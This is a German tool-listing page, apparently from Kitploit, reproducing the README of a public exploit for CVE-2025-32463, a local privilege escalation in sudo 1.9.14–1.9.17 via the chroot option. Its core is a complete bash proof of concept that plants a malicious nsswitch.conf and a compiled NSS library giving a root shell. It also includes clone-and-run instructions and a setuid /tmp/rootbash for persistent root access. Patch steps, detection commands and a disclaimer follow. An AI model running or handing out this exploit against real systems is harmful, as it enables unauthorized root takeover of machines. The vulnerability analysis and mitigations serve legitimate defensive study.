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CVE-2025-32463 — Lokaler Privilege-Escalation-Exploit für CVE-2025-32463, der einen Designfehler bei sudo chroot ausnutzt. Stellt ein PoC-Skript, technische Analyse und Anleitungen zur Schadensbegrenzung für die betroffenen sudo-Versionen 1.9.14-1.9.17 bereit. | Kitploit
Tools/GitHubGitHub/kaiht-ladiant/cve-2025-32463
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHubkaiht-ladiant/cve-2025-32463

CVE-2025-32463

Lokaler Privilege-Escalation-Exploit für CVE-2025-32463, der einen Designfehler bei sudo chroot ausnutzt. Stellt ein PoC-Skript, technische Analyse und Anleitungen zur Schadensbegrenzung für die betroffenen sudo-Versionen 1.9.14-1.9.17 bereit.

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21vor 1 JahrNoch nicht geprüft

CVE-2025-32463 – Sudo-Chroot-Privilegieneskalations-Exploit

Überblick

CVE-2025-32463 ist eine kritische lokale Privilegieneskalations-Schwachstelle in sudo-Versionen 1.9.14 bis 1.9.17. Diese Schwachstelle ermöglicht es Angreifern mit sudo-Berechtigungen, durch Ausnutzung eines Designfehlers in der Verarbeitungslogik der chroot-Option Root-Zugriff zu erlangen.

Details zur Schwachstelle

  • CVE-ID: CVE-2025-32463
  • Betroffene Versionen: sudo 1.9.14 - 1.9.17
  • Schwachstellentyp: Lokale Privilegieneskalation (LPE)
  • Schweregrad: Kritisch
  • Gepatchte Version: sudo 1.9.17p1 und später

Technische Beschreibung

Die Schwachstelle entsteht durch ein Timing-Problem im Sicherheitsvalidierungsprozess von sudo. Die Funktion pivot_root wird vor der Überprüfung der Sicherheitsrichtlinie ausgeführt, sodass Angreifer die Dateisystemumgebung manipulieren können, die sudo für Authentifizierung und Autorisierung verwendet.

Ablauf des Angriffs

  1. Umgebungsmanipulation: Der Angreifer erstellt eine kontrollierte chroot-Umgebung mit bösartiger nsswitch.conf
  2. Bibliotheksinjektion: Die bösartige NSS-Bibliothek (Name Service Switch) wird in der kontrollierten Umgebung platziert
  3. Privilegieneskalation: sudo lädt und führt die bösartige Bibliothek mit Root-Rechten aus
  4. Root-Zugriff: Der Angreifer erhält vollen Root-Shell-Zugriff

Betroffene Funktionen

  • pivot_root: Wird zu früh im Prozess ausgeführt
  • set_cmnd_path: Arbeitet in der manipulierten Umgebung
  • command_matches: Sicherheitsprüfungen werden aufgrund der Umgebungsmanipulation umgangen

Voraussetzungen

Bevor Sie diesen Exploit verwenden, stellen Sie sicher, dass die folgenden Bedingungen erfüllt sind:

  • Zielsystem führt sudo-Version 1.9.14 - 1.9.17 aus
  • Aktueller Benutzer verfügt über sudo-Berechtigungen
  • sudoers-Konfiguration erlaubt chroot-Operationen
  • gcc-Compiler ist auf dem Zielsystem verfügbar
  • Schreibzugriff auf temporäre Verzeichnisse (z. B. /tmp)

Verwendung

Schnellstart

  1. Klonen Sie dieses Repository:
root@kitploit:~
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
  1. Machen Sie das Skript ausführbar:
root@kitploit:~
chmod +x cve-2025-32463.sh
  1. Führen Sie den Exploit aus:
root@kitploit:~
./cve-2025-32463.sh

Manuelle Überprüfung

Prüfen Sie, ob das Zielsystem verwundbar ist:

root@kitploit:~
# Check sudo version
sudo --version

# Check sudo privileges
sudo -l

# Look for chroot-related permissions
sudo -l | grep chroot

Exploit-Code

Das Haupt-Exploit-Skript (cve-2025-32463.sh):

root@kitploit:~
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}

Überprüfung

Nach erfolgreicher Ausnutzung verifizieren Sie den Root-Zugriff:

root@kitploit:~
# Check current privileges
whoami

# Check proof file
cat /tmp/pwned_proof.txt

# Use setuid bash for persistent root access
/tmp/rootbash -p

Gegenmaßnahmen

Sofortmaßnahmen

  1. sudo aktualisieren auf Version 1.9.17p1 oder neuer:

    root@kitploit:~
    # Ubuntu/Debian
    sudo apt update && sudo apt upgrade sudo
    
    # CentOS/RHEL
    sudo yum update sudo
    
    # or
    sudo dnf update sudo
    
  2. chroot-Direktiven aus sudoers entfernen (vorübergehende Problemumgehung):

    root@kitploit:~
    # Backup current configuration
    sudo cp /etc/sudoers /etc/sudoers.backup
    
    # Remove chroot-related entries
    sudo sed -i '/chroot/d' /etc/sudoers
    
    # Verify syntax
    sudo visudo -c
    

Erkennung

Überwachen Sie auf Ausnutzungsversuche:

root@kitploit:~
# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d

# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo

# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f

Technische Details

Ursachenanalyse

Die Schwachstelle hat ihre Ursache in einem Designfehler im Ausführungsablauf von sudo:

  1. Normaler erwarteter Ablauf:

    • Benutzereingaben parsen
    • sudoers-Richtlinie validieren
    • Umgebung einrichten (einschließlich chroot)
    • Befehl ausführen
  2. Tatsächlicher verwundbarer Ablauf:

    • Benutzereingaben parsen
    • chroot ausführen (pivot_root) – Hier tritt das Problem auf
    • sudoers-Richtlinie validieren (in manipulierter Umgebung)
    • Befehl ausführen

NSS-Bibliotheksausnutzung

Der Exploit nutzt das Name Service Switch (NSS)-System:

  1. Sudo liest /etc/nsswitch.conf für die Benutzerauthentifizierung
  2. In der chroot-Umgebung kontrolliert der Angreifer diese Datei
  3. Die bösartige NSS-Bibliothek wird mit Root-Rechten geladen
  4. Der Bibliothekskonstruktor führt beliebigen Code als Root aus

Testumgebung

Dieser Exploit wurde getestet auf:

  • Ubuntu 20.04/22.04 mit sudo 1.9.15
  • Debian 11/12 mit sudo 1.9.14-1.9.17
  • CentOS 8/9 mit betroffenen sudo-Versionen
  • Docker-Container mit anfälligen sudo-Installationen

Referenzen

  • Offizielles sudo-Sicherheitsbulletin
  • Originalforschung von Rich Mirch
  • Sudo-Quellcode-Analyse

Haftungsausschluss

⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS ⚠️

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Testzwecke bereitgestellt.

  • Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche Genehmigung haben
  • Unbefugte Nutzung dieses Exploits ist illegal und unethisch
  • Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden
  • Stellen Sie sicher, dass Sie stets über eine ordnungsgemäße Autorisierung verfügen, bevor Sie Sicherheitstests durchführen

Mitwirken

Beiträge sind willkommen! Bitte:

  1. Forken Sie das Repository
  2. Erstellen Sie einen Feature-Branch
  3. Reichen Sie einen Pull-Request mit detaillierter Beschreibung ein

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE für Details.

Changelog

v1.0.0

  • Erstveröffentlichung
  • Grundlegende Exploit-Funktionalität
  • Umfassende Dokumentation

Hinweis: Diese Schwachstelle betrifft eine kritische Systemkomponente. Bitte verwenden Sie sie verantwortungsvoll und stellen Sie sicher, dass alle Tests autorisiert sind.

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